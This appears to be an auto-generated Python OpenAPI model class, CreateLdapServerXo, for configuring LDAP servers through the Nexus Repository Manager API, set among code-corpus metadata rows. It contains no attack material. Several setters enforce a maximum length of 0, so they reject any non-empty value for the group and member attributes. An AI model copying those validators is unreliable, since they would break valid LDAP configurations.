self.connection_type = connection_type | 36.756757 | 408 | 0.699265 | 183 | 1,360 | 5.081967 | 0.393443 | 0.060215 | 0.027957 | 0.045161 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.227941 | 1,360 | 37 | 409 | 36.756757 | 0.885714 | 0.126471 | 0 | 0 | 0 | 0 | 0.01875 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0.142857 | 0.142857 | 0 | 0.571429 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 2 |
4006df7024821643c98746d05f6225c90ba980a0 | 40,265 | py | Python | nexus_api_python_client/models/create_ldap_server_xo.py | simonebruzzechesse/nexus-api-python-client | eaa1098dbd8778f6f3bda948268953b742f2ab64 | [
"MIT"
] | 1 | 2021-11-14T12:43:38.000Z | 2021-11-14T12:43:38.000Z | nexus_api_python_client/models/create_ldap_server_xo.py | simonebruzzechesse/nexus-api-python-client | eaa1098dbd8778f6f3bda948268953b742f2ab64 | [
"MIT"
] | null | null | null | nexus_api_python_client/models/create_ldap_server_xo.py | simonebruzzechesse/nexus-api-python-client | eaa1098dbd8778f6f3bda948268953b742f2ab64 | [
"MIT"
] | null | null | null | # coding: utf-8
"""
Nexus Repository Manager REST API
No description provided (generated by Openapi Generator https://github.com/openapitools/openapi-generator) # noqa: E501
The version of the OpenAPI document: 3.20.1-01
Generated by: https://openapi-generator.tech
"""
import pprint
import re # noqa: F401
import six
from nexus_api_python_client.configuration import Configuration
class CreateLdapServerXo(object):
"""NOTE: This class is auto generated by OpenAPI Generator.
Ref: https://openapi-generator.tech
Do not edit the class manually.
"""
"""
Attributes:
openapi_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
openapi_types = {
'name': 'str',
'protocol': 'str',
'use_trust_store': 'bool',
'host': 'str',
'port': 'int',
'search_base': 'str',
'auth_scheme': 'str',
'auth_realm': 'str',
'auth_username': 'str',
'connection_timeout_seconds': 'int',
'connection_retry_delay_seconds': 'int',
'max_incidents_count': 'int',
'user_base_dn': 'str',
'user_subtree': 'bool',
'user_object_class': 'str',
'user_ldap_filter': 'str',
'user_id_attribute': 'str',
'user_real_name_attribute': 'str',
'user_email_address_attribute': 'str',
'user_password_attribute': 'str',
'ldap_groups_as_roles': 'bool',
'group_type': 'str',
'group_base_dn': 'str',
'group_subtree': 'bool',
'group_object_class': 'str',
'group_id_attribute': 'str',
'group_member_attribute': 'str',
'group_member_format': 'str',
'user_member_of_attribute': 'str',
'auth_password': 'str'
}
attribute_map = {
'name': 'name',
'protocol': 'protocol',
'use_trust_store': 'useTrustStore',
'host': 'host',
'port': 'port',
'search_base': 'searchBase',
'auth_scheme': 'authScheme',
'auth_realm': 'authRealm',
'auth_username': 'authUsername',
'connection_timeout_seconds': 'connectionTimeoutSeconds',
'connection_retry_delay_seconds': 'connectionRetryDelaySeconds',
'max_incidents_count': 'maxIncidentsCount',
'user_base_dn': 'userBaseDn',
'user_subtree': 'userSubtree',
'user_object_class': 'userObjectClass',
'user_ldap_filter': 'userLdapFilter',
'user_id_attribute': 'userIdAttribute',
'user_real_name_attribute': 'userRealNameAttribute',
'user_email_address_attribute': 'userEmailAddressAttribute',
'user_password_attribute': 'userPasswordAttribute',
'ldap_groups_as_roles': 'ldapGroupsAsRoles',
'group_type': 'groupType',
'group_base_dn': 'groupBaseDn',
'group_subtree': 'groupSubtree',
'group_object_class': 'groupObjectClass',
'group_id_attribute': 'groupIdAttribute',
'group_member_attribute': 'groupMemberAttribute',
'group_member_format': 'groupMemberFormat',
'user_member_of_attribute': 'userMemberOfAttribute',
'auth_password': 'authPassword'
}
def __init__(self, name=None, protocol=None, use_trust_store=None, host=None, port=None, search_base=None, auth_scheme=None, auth_realm=None, auth_username=None, connection_timeout_seconds=None, connection_retry_delay_seconds=None, max_incidents_count=None, user_base_dn=None, user_subtree=None, user_object_class=None, user_ldap_filter=None, user_id_attribute=None, user_real_name_attribute=None, user_email_address_attribute=None, user_password_attribute=None, ldap_groups_as_roles=None, group_type=None, group_base_dn=None, group_subtree=None, group_object_class=None, group_id_attribute=None, group_member_attribute=None, group_member_format=None, user_member_of_attribute=None, auth_password=None, local_vars_configuration=None): # noqa: E501
"""CreateLdapServerXo - a model defined in OpenAPI""" # noqa: E501
if local_vars_configuration is None:
local_vars_configuration = Configuration()
self.local_vars_configuration = local_vars_configuration
self._name = None
self._protocol = None
self._use_trust_store = None
self._host = None
self._port = None
self._search_base = None
self._auth_scheme = None
self._auth_realm = None
self._auth_username = None
self._connection_timeout_seconds = None
self._connection_retry_delay_seconds = None
self._max_incidents_count = None
self._user_base_dn = None
self._user_subtree = None
self._user_object_class = None
self._user_ldap_filter = None
self._user_id_attribute = None
self._user_real_name_attribute = None
self._user_email_address_attribute = None
self._user_password_attribute = None
self._ldap_groups_as_roles = None
self._group_type = None
self._group_base_dn = None
self._group_subtree = None
self._group_object_class = None
self._group_id_attribute = None
self._group_member_attribute = None
self._group_member_format = None
self._user_member_of_attribute = None
self._auth_password = None
self.discriminator = None
self.name = name
self.protocol = protocol
if use_trust_store is not None:
self.use_trust_store = use_trust_store
self.host = host
self.port = port
self.search_base = search_base
self.auth_scheme = auth_scheme
if auth_realm is not None:
self.auth_realm = auth_realm
if auth_username is not None:
self.auth_username = auth_username
self.connection_timeout_seconds = connection_timeout_seconds
self.connection_retry_delay_seconds = connection_retry_delay_seconds
self.max_incidents_count = max_incidents_count
if user_base_dn is not None:
self.user_base_dn = user_base_dn
if user_subtree is not None:
self.user_subtree = user_subtree
if user_object_class is not None:
self.user_object_class = user_object_class
if user_ldap_filter is not None:
self.user_ldap_filter = user_ldap_filter
if user_id_attribute is not None:
self.user_id_attribute = user_id_attribute
if user_real_name_attribute is not None:
self.user_real_name_attribute = user_real_name_attribute
if user_email_address_attribute is not None:
self.user_email_address_attribute = user_email_address_attribute
if user_password_attribute is not None:
self.user_password_attribute = user_password_attribute
if ldap_groups_as_roles is not None:
self.ldap_groups_as_roles = ldap_groups_as_roles
self.group_type = group_type
if group_base_dn is not None:
self.group_base_dn = group_base_dn
if group_subtree is not None:
self.group_subtree = group_subtree
if group_object_class is not None:
self.group_object_class = group_object_class
if group_id_attribute is not None:
self.group_id_attribute = group_id_attribute
if group_member_attribute is not None:
self.group_member_attribute = group_member_attribute
if group_member_format is not None:
self.group_member_format = group_member_format
if user_member_of_attribute is not None:
self.user_member_of_attribute = user_member_of_attribute
self.auth_password = auth_password
@property
def name(self):
"""Gets the name of this CreateLdapServerXo. # noqa: E501
LDAP server name # noqa: E501
:return: The name of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._name
@name.setter
def name(self, name):
"""Sets the name of this CreateLdapServerXo.
LDAP server name # noqa: E501
:param name: The name of this CreateLdapServerXo. # noqa: E501
:type: str
"""
if self.local_vars_configuration.client_side_validation and name is None: # noqa: E501
raise ValueError("Invalid value for `name`, must not be `None`") # noqa: E501
self._name = name
@property
def protocol(self):
"""Gets the protocol of this CreateLdapServerXo. # noqa: E501
LDAP server connection Protocol to use # noqa: E501
:return: The protocol of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._protocol
@protocol.setter
def protocol(self, protocol):
"""Sets the protocol of this CreateLdapServerXo.
LDAP server connection Protocol to use # noqa: E501
:param protocol: The protocol of this CreateLdapServerXo. # noqa: E501
:type: str
"""
if self.local_vars_configuration.client_side_validation and protocol is None: # noqa: E501
raise ValueError("Invalid value for `protocol`, must not be `None`") # noqa: E501
allowed_values = ["ldap", "ldaps"] # noqa: E501
if self.local_vars_configuration.client_side_validation and protocol not in allowed_values: # noqa: E501
raise ValueError(
"Invalid value for `protocol` ({0}), must be one of {1}" # noqa: E501
.format(protocol, allowed_values)
)
self._protocol = protocol
@property
def use_trust_store(self):
"""Gets the use_trust_store of this CreateLdapServerXo. # noqa: E501
Whether to use certificates stored in NXRM's truststore # noqa: E501
:return: The use_trust_store of this CreateLdapServerXo. # noqa: E501
:rtype: bool
"""
return self._use_trust_store
@use_trust_store.setter
def use_trust_store(self, use_trust_store):
"""Sets the use_trust_store of this CreateLdapServerXo.
Whether to use certificates stored in NXRM's truststore # noqa: E501
:param use_trust_store: The use_trust_store of this CreateLdapServerXo. # noqa: E501
:type: bool
"""
self._use_trust_store = use_trust_store
@property
def host(self):
"""Gets the host of this CreateLdapServerXo. # noqa: E501
LDAP server connection hostname # noqa: E501
:return: The host of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._host
@host.setter
def host(self, host):
"""Sets the host of this CreateLdapServerXo.
LDAP server connection hostname # noqa: E501
:param host: The host of this CreateLdapServerXo. # noqa: E501
:type: str
"""
if self.local_vars_configuration.client_side_validation and host is None: # noqa: E501
raise ValueError("Invalid value for `host`, must not be `None`") # noqa: E501
self._host = host
@property
def port(self):
"""Gets the port of this CreateLdapServerXo. # noqa: E501
LDAP server connection port to use # noqa: E501
:return: The port of this CreateLdapServerXo. # noqa: E501
:rtype: int
"""
return self._port
@port.setter
def port(self, port):
"""Sets the port of this CreateLdapServerXo.
LDAP server connection port to use # noqa: E501
:param port: The port of this CreateLdapServerXo. # noqa: E501
:type: int
"""
if self.local_vars_configuration.client_side_validation and port is None: # noqa: E501
raise ValueError("Invalid value for `port`, must not be `None`") # noqa: E501
self._port = port
@property
def search_base(self):
"""Gets the search_base of this CreateLdapServerXo. # noqa: E501
LDAP location to be added to the connection URL # noqa: E501
:return: The search_base of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._search_base
@search_base.setter
def search_base(self, search_base):
"""Sets the search_base of this CreateLdapServerXo.
LDAP location to be added to the connection URL # noqa: E501
:param search_base: The search_base of this CreateLdapServerXo. # noqa: E501
:type: str
"""
if self.local_vars_configuration.client_side_validation and search_base is None: # noqa: E501
raise ValueError("Invalid value for `search_base`, must not be `None`") # noqa: E501
self._search_base = search_base
@property
def auth_scheme(self):
"""Gets the auth_scheme of this CreateLdapServerXo. # noqa: E501
Authentication scheme used for connecting to LDAP server # noqa: E501
:return: The auth_scheme of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._auth_scheme
@auth_scheme.setter
def auth_scheme(self, auth_scheme):
"""Sets the auth_scheme of this CreateLdapServerXo.
Authentication scheme used for connecting to LDAP server # noqa: E501
:param auth_scheme: The auth_scheme of this CreateLdapServerXo. # noqa: E501
:type: str
"""
if self.local_vars_configuration.client_side_validation and auth_scheme is None: # noqa: E501
raise ValueError("Invalid value for `auth_scheme`, must not be `None`") # noqa: E501
allowed_values = ["NONE", "SIMPLE", "DIGEST_MD5", "CRAM_MD5"] # noqa: E501
if self.local_vars_configuration.client_side_validation and auth_scheme not in allowed_values: # noqa: E501
raise ValueError(
"Invalid value for `auth_scheme` ({0}), must be one of {1}" # noqa: E501
.format(auth_scheme, allowed_values)
)
self._auth_scheme = auth_scheme
@property
def auth_realm(self):
"""Gets the auth_realm of this CreateLdapServerXo. # noqa: E501
The SASL realm to bind to. Required if authScheme is CRAM_MD5 or DIGEST_MD5 # noqa: E501
:return: The auth_realm of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._auth_realm
@auth_realm.setter
def auth_realm(self, auth_realm):
"""Sets the auth_realm of this CreateLdapServerXo.
The SASL realm to bind to. Required if authScheme is CRAM_MD5 or DIGEST_MD5 # noqa: E501
:param auth_realm: The auth_realm of this CreateLdapServerXo. # noqa: E501
:type: str
"""
self._auth_realm = auth_realm
@property
def auth_username(self):
"""Gets the auth_username of this CreateLdapServerXo. # noqa: E501
This must be a fully qualified username if simple authentication is used. Required if authScheme other than none. # noqa: E501
:return: The auth_username of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._auth_username
@auth_username.setter
def auth_username(self, auth_username):
"""Sets the auth_username of this CreateLdapServerXo.
This must be a fully qualified username if simple authentication is used. Required if authScheme other than none. # noqa: E501
:param auth_username: The auth_username of this CreateLdapServerXo. # noqa: E501
:type: str
"""
self._auth_username = auth_username
@property
def connection_timeout_seconds(self):
"""Gets the connection_timeout_seconds of this CreateLdapServerXo. # noqa: E501
How long to wait before timeout # noqa: E501
:return: The connection_timeout_seconds of this CreateLdapServerXo. # noqa: E501
:rtype: int
"""
return self._connection_timeout_seconds
@connection_timeout_seconds.setter
def connection_timeout_seconds(self, connection_timeout_seconds):
"""Sets the connection_timeout_seconds of this CreateLdapServerXo.
How long to wait before timeout # noqa: E501
:param connection_timeout_seconds: The connection_timeout_seconds of this CreateLdapServerXo. # noqa: E501
:type: int
"""
if self.local_vars_configuration.client_side_validation and connection_timeout_seconds is None: # noqa: E501
raise ValueError("Invalid value for `connection_timeout_seconds`, must not be `None`") # noqa: E501
if (self.local_vars_configuration.client_side_validation and
connection_timeout_seconds is not None and connection_timeout_seconds > 3600): # noqa: E501
raise ValueError("Invalid value for `connection_timeout_seconds`, must be a value less than or equal to `3600`") # noqa: E501
if (self.local_vars_configuration.client_side_validation and
connection_timeout_seconds is not None and connection_timeout_seconds < 1): # noqa: E501
raise ValueError("Invalid value for `connection_timeout_seconds`, must be a value greater than or equal to `1`") # noqa: E501
self._connection_timeout_seconds = connection_timeout_seconds
@property
def connection_retry_delay_seconds(self):
"""Gets the connection_retry_delay_seconds of this CreateLdapServerXo. # noqa: E501
How long to wait before retrying # noqa: E501
:return: The connection_retry_delay_seconds of this CreateLdapServerXo. # noqa: E501
:rtype: int
"""
return self._connection_retry_delay_seconds
@connection_retry_delay_seconds.setter
def connection_retry_delay_seconds(self, connection_retry_delay_seconds):
"""Sets the connection_retry_delay_seconds of this CreateLdapServerXo.
How long to wait before retrying # noqa: E501
:param connection_retry_delay_seconds: The connection_retry_delay_seconds of this CreateLdapServerXo. # noqa: E501
:type: int
"""
if self.local_vars_configuration.client_side_validation and connection_retry_delay_seconds is None: # noqa: E501
raise ValueError("Invalid value for `connection_retry_delay_seconds`, must not be `None`") # noqa: E501
if (self.local_vars_configuration.client_side_validation and
connection_retry_delay_seconds is not None and connection_retry_delay_seconds < 0): # noqa: E501
raise ValueError("Invalid value for `connection_retry_delay_seconds`, must be a value greater than or equal to `0`") # noqa: E501
self._connection_retry_delay_seconds = connection_retry_delay_seconds
@property
def max_incidents_count(self):
"""Gets the max_incidents_count of this CreateLdapServerXo. # noqa: E501
How many retry attempts # noqa: E501
:return: The max_incidents_count of this CreateLdapServerXo. # noqa: E501
:rtype: int
"""
return self._max_incidents_count
@max_incidents_count.setter
def max_incidents_count(self, max_incidents_count):
"""Sets the max_incidents_count of this CreateLdapServerXo.
How many retry attempts # noqa: E501
:param max_incidents_count: The max_incidents_count of this CreateLdapServerXo. # noqa: E501
:type: int
"""
if self.local_vars_configuration.client_side_validation and max_incidents_count is None: # noqa: E501
raise ValueError("Invalid value for `max_incidents_count`, must not be `None`") # noqa: E501
if (self.local_vars_configuration.client_side_validation and
max_incidents_count is not None and max_incidents_count < 0): # noqa: E501
raise ValueError("Invalid value for `max_incidents_count`, must be a value greater than or equal to `0`") # noqa: E501
self._max_incidents_count = max_incidents_count
@property
def user_base_dn(self):
"""Gets the user_base_dn of this CreateLdapServerXo. # noqa: E501
The relative DN where user objects are found (e.g. ou=people). This value will have the Search base DN value appended to form the full User search base DN. # noqa: E501
:return: The user_base_dn of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._user_base_dn
@user_base_dn.setter
def user_base_dn(self, user_base_dn):
"""Sets the user_base_dn of this CreateLdapServerXo.
The relative DN where user objects are found (e.g. ou=people). This value will have the Search base DN value appended to form the full User search base DN. # noqa: E501
:param user_base_dn: The user_base_dn of this CreateLdapServerXo. # noqa: E501
:type: str
"""
self._user_base_dn = user_base_dn
@property
def user_subtree(self):
"""Gets the user_subtree of this CreateLdapServerXo. # noqa: E501
Are users located in structures below the user base DN? # noqa: E501
:return: The user_subtree of this CreateLdapServerXo. # noqa: E501
:rtype: bool
"""
return self._user_subtree
@user_subtree.setter
def user_subtree(self, user_subtree):
"""Sets the user_subtree of this CreateLdapServerXo.
Are users located in structures below the user base DN? # noqa: E501
:param user_subtree: The user_subtree of this CreateLdapServerXo. # noqa: E501
:type: bool
"""
self._user_subtree = user_subtree
@property
def user_object_class(self):
"""Gets the user_object_class of this CreateLdapServerXo. # noqa: E501
LDAP class for user objects # noqa: E501
:return: The user_object_class of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._user_object_class
@user_object_class.setter
def user_object_class(self, user_object_class):
"""Sets the user_object_class of this CreateLdapServerXo.
LDAP class for user objects # noqa: E501
:param user_object_class: The user_object_class of this CreateLdapServerXo. # noqa: E501
:type: str
"""
self._user_object_class = user_object_class
@property
def user_ldap_filter(self):
"""Gets the user_ldap_filter of this CreateLdapServerXo. # noqa: E501
LDAP search filter to limit user search # noqa: E501
:return: The user_ldap_filter of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._user_ldap_filter
@user_ldap_filter.setter
def user_ldap_filter(self, user_ldap_filter):
"""Sets the user_ldap_filter of this CreateLdapServerXo.
LDAP search filter to limit user search # noqa: E501
:param user_ldap_filter: The user_ldap_filter of this CreateLdapServerXo. # noqa: E501
:type: str
"""
self._user_ldap_filter = user_ldap_filter
@property
def user_id_attribute(self):
"""Gets the user_id_attribute of this CreateLdapServerXo. # noqa: E501
This is used to find a user given its user ID # noqa: E501
:return: The user_id_attribute of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._user_id_attribute
@user_id_attribute.setter
def user_id_attribute(self, user_id_attribute):
"""Sets the user_id_attribute of this CreateLdapServerXo.
This is used to find a user given its user ID # noqa: E501
:param user_id_attribute: The user_id_attribute of this CreateLdapServerXo. # noqa: E501
:type: str
"""
self._user_id_attribute = user_id_attribute
@property
def user_real_name_attribute(self):
"""Gets the user_real_name_attribute of this CreateLdapServerXo. # noqa: E501
This is used to find a real name given the user ID # noqa: E501
:return: The user_real_name_attribute of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._user_real_name_attribute
@user_real_name_attribute.setter
def user_real_name_attribute(self, user_real_name_attribute):
"""Sets the user_real_name_attribute of this CreateLdapServerXo.
This is used to find a real name given the user ID # noqa: E501
:param user_real_name_attribute: The user_real_name_attribute of this CreateLdapServerXo. # noqa: E501
:type: str
"""
self._user_real_name_attribute = user_real_name_attribute
@property
def user_email_address_attribute(self):
"""Gets the user_email_address_attribute of this CreateLdapServerXo. # noqa: E501
This is used to find an email address given the user ID # noqa: E501
:return: The user_email_address_attribute of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._user_email_address_attribute
@user_email_address_attribute.setter
def user_email_address_attribute(self, user_email_address_attribute):
"""Sets the user_email_address_attribute of this CreateLdapServerXo.
This is used to find an email address given the user ID # noqa: E501
:param user_email_address_attribute: The user_email_address_attribute of this CreateLdapServerXo. # noqa: E501
:type: str
"""
self._user_email_address_attribute = user_email_address_attribute
@property
def user_password_attribute(self):
"""Gets the user_password_attribute of this CreateLdapServerXo. # noqa: E501
If this field is blank the user will be authenticated against a bind with the LDAP server # noqa: E501
:return: The user_password_attribute of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._user_password_attribute
@user_password_attribute.setter
def user_password_attribute(self, user_password_attribute):
"""Sets the user_password_attribute of this CreateLdapServerXo.
If this field is blank the user will be authenticated against a bind with the LDAP server # noqa: E501
:param user_password_attribute: The user_password_attribute of this CreateLdapServerXo. # noqa: E501
:type: str
"""
self._user_password_attribute = user_password_attribute
@property
def ldap_groups_as_roles(self):
"""Gets the ldap_groups_as_roles of this CreateLdapServerXo. # noqa: E501
Denotes whether LDAP assigned roles are used as NXRM roles # noqa: E501
:return: The ldap_groups_as_roles of this CreateLdapServerXo. # noqa: E501
:rtype: bool
"""
return self._ldap_groups_as_roles
@ldap_groups_as_roles.setter
def ldap_groups_as_roles(self, ldap_groups_as_roles):
"""Sets the ldap_groups_as_roles of this CreateLdapServerXo.
Denotes whether LDAP assigned roles are used as NXRM roles # noqa: E501
:param ldap_groups_as_roles: The ldap_groups_as_roles of this CreateLdapServerXo. # noqa: E501
:type: bool
"""
self._ldap_groups_as_roles = ldap_groups_as_roles
@property
def group_type(self):
"""Gets the group_type of this CreateLdapServerXo. # noqa: E501
Defines a type of groups used: static (a group contains a list of users) or dynamic (a user contains a list of groups). Required if ldapGroupsAsRoles is true. # noqa: E501
:return: The group_type of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._group_type
@group_type.setter
def group_type(self, group_type):
"""Sets the group_type of this CreateLdapServerXo.
Defines a type of groups used: static (a group contains a list of users) or dynamic (a user contains a list of groups). Required if ldapGroupsAsRoles is true. # noqa: E501
:param group_type: The group_type of this CreateLdapServerXo. # noqa: E501
:type: str
"""
if self.local_vars_configuration.client_side_validation and group_type is None: # noqa: E501
raise ValueError("Invalid value for `group_type`, must not be `None`") # noqa: E501
allowed_values = ["static", "dynamic"] # noqa: E501
if self.local_vars_configuration.client_side_validation and group_type not in allowed_values: # noqa: E501
raise ValueError(
"Invalid value for `group_type` ({0}), must be one of {1}" # noqa: E501
.format(group_type, allowed_values)
)
self._group_type = group_type
@property
def group_base_dn(self):
"""Gets the group_base_dn of this CreateLdapServerXo. # noqa: E501
The relative DN where group objects are found (e.g. ou=Group). This value will have the Search base DN value appended to form the full Group search base DN. # noqa: E501
:return: The group_base_dn of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._group_base_dn
@group_base_dn.setter
def group_base_dn(self, group_base_dn):
"""Sets the group_base_dn of this CreateLdapServerXo.
The relative DN where group objects are found (e.g. ou=Group). This value will have the Search base DN value appended to form the full Group search base DN. # noqa: E501
:param group_base_dn: The group_base_dn of this CreateLdapServerXo. # noqa: E501
:type: str
"""
self._group_base_dn = group_base_dn
@property
def group_subtree(self):
"""Gets the group_subtree of this CreateLdapServerXo. # noqa: E501
Are groups located in structures below the group base DN # noqa: E501
:return: The group_subtree of this CreateLdapServerXo. # noqa: E501
:rtype: bool
"""
return self._group_subtree
@group_subtree.setter
def group_subtree(self, group_subtree):
"""Sets the group_subtree of this CreateLdapServerXo.
Are groups located in structures below the group base DN # noqa: E501
:param group_subtree: The group_subtree of this CreateLdapServerXo. # noqa: E501
:type: bool
"""
self._group_subtree = group_subtree
@property
def group_object_class(self):
"""Gets the group_object_class of this CreateLdapServerXo. # noqa: E501
LDAP class for group objects. Required if groupType is static # noqa: E501
:return: The group_object_class of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._group_object_class
@group_object_class.setter
def group_object_class(self, group_object_class):
"""Sets the group_object_class of this CreateLdapServerXo.
LDAP class for group objects. Required if groupType is static # noqa: E501
:param group_object_class: The group_object_class of this CreateLdapServerXo. # noqa: E501
:type: str
"""
if (self.local_vars_configuration.client_side_validation and
group_object_class is not None and len(group_object_class) > 0):
raise ValueError("Invalid value for `group_object_class`, length must be less than or equal to `0`") # noqa: E501
if (self.local_vars_configuration.client_side_validation and
group_object_class is not None and len(group_object_class) < 0):
raise ValueError("Invalid value for `group_object_class`, length must be greater than or equal to `0`") # noqa: E501
self._group_object_class = group_object_class
@property
def group_id_attribute(self):
"""Gets the group_id_attribute of this CreateLdapServerXo. # noqa: E501
This field specifies the attribute of the Object class that defines the Group ID. Required if groupType is static # noqa: E501
:return: The group_id_attribute of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._group_id_attribute
@group_id_attribute.setter
def group_id_attribute(self, group_id_attribute):
"""Sets the group_id_attribute of this CreateLdapServerXo.
This field specifies the attribute of the Object class that defines the Group ID. Required if groupType is static # noqa: E501
:param group_id_attribute: The group_id_attribute of this CreateLdapServerXo. # noqa: E501
:type: str
"""
if (self.local_vars_configuration.client_side_validation and
group_id_attribute is not None and len(group_id_attribute) > 0):
raise ValueError("Invalid value for `group_id_attribute`, length must be less than or equal to `0`") # noqa: E501
if (self.local_vars_configuration.client_side_validation and
group_id_attribute is not None and len(group_id_attribute) < 0):
raise ValueError("Invalid value for `group_id_attribute`, length must be greater than or equal to `0`") # noqa: E501
self._group_id_attribute = group_id_attribute
@property
def group_member_attribute(self):
"""Gets the group_member_attribute of this CreateLdapServerXo. # noqa: E501
LDAP attribute containing the usernames for the group. Required if groupType is static # noqa: E501
:return: The group_member_attribute of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._group_member_attribute
@group_member_attribute.setter
def group_member_attribute(self, group_member_attribute):
"""Sets the group_member_attribute of this CreateLdapServerXo.
LDAP attribute containing the usernames for the group. Required if groupType is static # noqa: E501
:param group_member_attribute: The group_member_attribute of this CreateLdapServerXo. # noqa: E501
:type: str
"""
if (self.local_vars_configuration.client_side_validation and
group_member_attribute is not None and len(group_member_attribute) > 0):
raise ValueError("Invalid value for `group_member_attribute`, length must be less than or equal to `0`") # noqa: E501
if (self.local_vars_configuration.client_side_validation and
group_member_attribute is not None and len(group_member_attribute) < 0):
raise ValueError("Invalid value for `group_member_attribute`, length must be greater than or equal to `0`") # noqa: E501
self._group_member_attribute = group_member_attribute
@property
def group_member_format(self):
"""Gets the group_member_format of this CreateLdapServerXo. # noqa: E501
The format of user ID stored in the group member attribute. Required if groupType is static # noqa: E501
:return: The group_member_format of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._group_member_format
@group_member_format.setter
def group_member_format(self, group_member_format):
"""Sets the group_member_format of this CreateLdapServerXo.
The format of user ID stored in the group member attribute. Required if groupType is static # noqa: E501
:param group_member_format: The group_member_format of this CreateLdapServerXo. # noqa: E501
:type: str
"""
if (self.local_vars_configuration.client_side_validation and
group_member_format is not None and len(group_member_format) > 0):
raise ValueError("Invalid value for `group_member_format`, length must be less than or equal to `0`") # noqa: E501
if (self.local_vars_configuration.client_side_validation and
group_member_format is not None and len(group_member_format) < 0):
raise ValueError("Invalid value for `group_member_format`, length must be greater than or equal to `0`") # noqa: E501
self._group_member_format = group_member_format
@property
def user_member_of_attribute(self):
"""Gets the user_member_of_attribute of this CreateLdapServerXo. # noqa: E501
Set this to the attribute used to store the attribute which holds groups DN in the user object. Required if groupType is dynamic # noqa: E501
:return: The user_member_of_attribute of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._user_member_of_attribute
@user_member_of_attribute.setter
def user_member_of_attribute(self, user_member_of_attribute):
"""Sets the user_member_of_attribute of this CreateLdapServerXo.
Set this to the attribute used to store the attribute which holds groups DN in the user object. Required if groupType is dynamic # noqa: E501
:param user_member_of_attribute: The user_member_of_attribute of this CreateLdapServerXo. # noqa: E501
:type: str
"""
if (self.local_vars_configuration.client_side_validation and
user_member_of_attribute is not None and len(user_member_of_attribute) > 0):
raise ValueError("Invalid value for `user_member_of_attribute`, length must be less than or equal to `0`") # noqa: E501
if (self.local_vars_configuration.client_side_validation and
user_member_of_attribute is not None and len(user_member_of_attribute) < 0):
raise ValueError("Invalid value for `user_member_of_attribute`, length must be greater than or equal to `0`") # noqa: E501
self._user_member_of_attribute = user_member_of_attribute
@property
def auth_password(self):
"""Gets the auth_password of this CreateLdapServerXo. # noqa: E501
The password to bind with. Required if authScheme other than none. # noqa: E501
:return: The auth_password of this CreateLdapServerXo. # noqa: E501
:rtype: str
"""
return self._auth_password
@auth_password.setter
def auth_password(self, auth_password):
"""Sets the auth_password of this CreateLdapServerXo.
The password to bind with. Required if authScheme other than none. # noqa: E501
:param auth_password: The auth_password of this CreateLdapServerXo. # noqa: E501
:type: str
"""
if self.local_vars_configuration.client_side_validation and auth_password is None: # noqa: E501
raise ValueError("Invalid value for `auth_password`, must not be `None`") # noqa: E501
self._auth_password = auth_password
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.openapi_types):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, CreateLdapServerXo):
return False
return self.to_dict() == other.to_dict()
def __ne__(self, other):
"""Returns true if both objects are not equal"""
if not isinstance(other, CreateLdapServerXo):
return True
return self.to_dict() != other.to_dict()
| 40.024851 | 752 | 0.67093 | 5,092 | 40,265 | 5.048704 | 0.052239 | 0.06286 | 0.112027 | 0.098024 | 0.783958 | 0.707484 | 0.65925 | 0.57873 | 0.526762 | 0.418469 | 0 | 0.02227 | 0.258388 | 40,265 | 1,005 | 753 | 40.064677 | 0.838652 | 0.383162 | 0 | 0.114094 | 1 | 0 | 0.157299 | 0.041591 | 0 | 0 | 0 | 0 | 0 | 1 | 0.147651 | false | 0.049217 | 0.008949 | 0 | 0.246085 | 0.004474 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
400ef3de7a04b6fcc00bb269966f563bba9d3435 | 11,701 | py | Python | src/pycal/healpix.py | cmbgroundbased/libcal | 9e8bf0cea4d36c76ec4444efd0c8d3ffffca2c0b | [
